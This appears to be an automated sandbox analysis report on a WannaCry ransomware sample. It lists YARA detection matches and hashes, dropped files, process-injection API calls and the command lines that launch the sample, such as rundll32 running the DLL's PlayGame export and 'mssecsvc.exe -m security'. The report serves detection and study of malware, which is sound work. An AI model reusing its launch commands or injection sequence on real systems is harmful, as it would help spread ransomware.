              Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 0000001D.00000000.340987987.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000001D.00000002.346252810.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.263814338.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.264216191.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.265737352.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.268086584.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.260249234.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.269796285.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.265208770.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.262261372.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000002.354991313.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3CF04_2_00AC3CF0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC28C84_2_00AC28C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3CC24_2_00AC3CC2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3C3D4_2_00AC3C3D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3D364_2_00AC3D36
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3D1F4_2_00AC3D1F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3D4B4_2_00AC3D4B
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF04_2_7FEA3CF0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA28C84_2_7FEA28C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CC24_2_7FEA3CC2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA4C9E4_2_7FEA4C9E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D4B4_2_7FEA3D4B
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3C3D4_2_7FEA3C3D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D364_2_7FEA3D36
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D1F4_2_7FEA3D1F
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03CF010_2_00B03CF0
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03CC210_2_00B03CC2
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B028C810_2_00B028C8
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03D3610_2_00B03D36
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03C3D10_2_00B03C3D
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03D1F10_2_00B03D1F
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03D4B10_2_00B03D4B
              Source: C:\Windows\tasksche.exeCode function: 29_2_00406C4029_2_00406C40
              Source: C:\Windows\tasksche.exeCode function: 29_2_00402A7629_2_00402A76
              Source: C:\Windows\tasksche.exeCode function: 29_2_00402E7E29_2_00402E7E
              Source: C:\Windows\tasksche.exeCode function: 29_2_0040350F29_2_0040350F
              Source: C:\Windows\tasksche.exeCode function: 29_2_00404C1929_2_00404C19
              Source: C:\Windows\tasksche.exeCode function: 29_2_0040541F29_2_0040541F
              Source: C:\Windows\tasksche.exeCode function: 29_2_0040379729_2_00403797
              Source: C:\Windows\tasksche.exeCode function: 29_2_004043B729_2_004043B7
              Source: C:\Windows\tasksche.exeCode function: 29_2_004031BC29_2_004031BC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC05F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,FindCloseChangeNotification,4_2_00AC05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00AC042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC252F NtOpenSection,4_2_00AC252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC2574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_00AC2574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_00AC2477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00AC144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC24AE lstrcpyW,lstrlenW,NtCreateSection,4_2_00AC24AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC33E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00AC33E0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00AC1422
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00AC3405
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA33E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA33E0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA24AE lstrcpyW,lstrlenW,NtCreateSection,4_2_7FEA24AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_7FEA2477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2574 NtMapViewOfSection,CloseHandle,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_7FEA2574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA252F NtOpenSection,4_2_7FEA252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA1422
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA3405
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B005F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,10_2_00B005F2
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0252F NtOpenSection,10_2_00B0252F
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B02574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,10_2_00B02574
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B02477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,10_2_00B02477
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,10_2_00B0144A
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B024AE lstrcpyW,lstrlenW,NtCreateSection,10_2_00B024AE
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B033E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,10_2_00B033E0
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B01422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,10_2_00B01422
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,10_2_00B0042D
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B03405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,10_2_00B03405
              Source: mssecsvc.exe.2.drStatic PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
              Source: tasksche.exe.7.drStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract
              Source: C:\Windows\System32\svchost.exeSection loaded: xboxlivetitleid.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: cdpsgshims.dllJump to behavior
              Source: kBBdc7Aoj4.dllMetadefender: Detection: 81%
              Source: kBBdc7Aoj4.dllReversingLabs: Detection: 86%
              Source: kBBdc7Aoj4.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll"
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kBBdc7Aoj4.dll,PlayGame
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",PlayGame
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: unknownProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe -m security
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
              Source: unknownProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\backgroundTaskHost.exe "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1Jump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\kBBdc7Aoj4.dll,PlayGameJump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",PlayGameJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1Jump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /iJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
              Source: C:\Windows\mssecsvc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
              Source: C:\Windows\System32\svchost.exeFile created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etlJump to behavior
              Source: mssecsvc.exe.2.drBinary string: /\Device\HarddiskVolume2\Windows\Temp\avg_a01924
              Source: mssecsvc.exe.2.drBinary string: C\Device\HarddiskVolume2\Windows\SoftwareDistribution\DataStore\Logs
              Source: mssecsvc.exe.2.drBinary string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~x86~ru-RU~6.1.7601.17514.cat
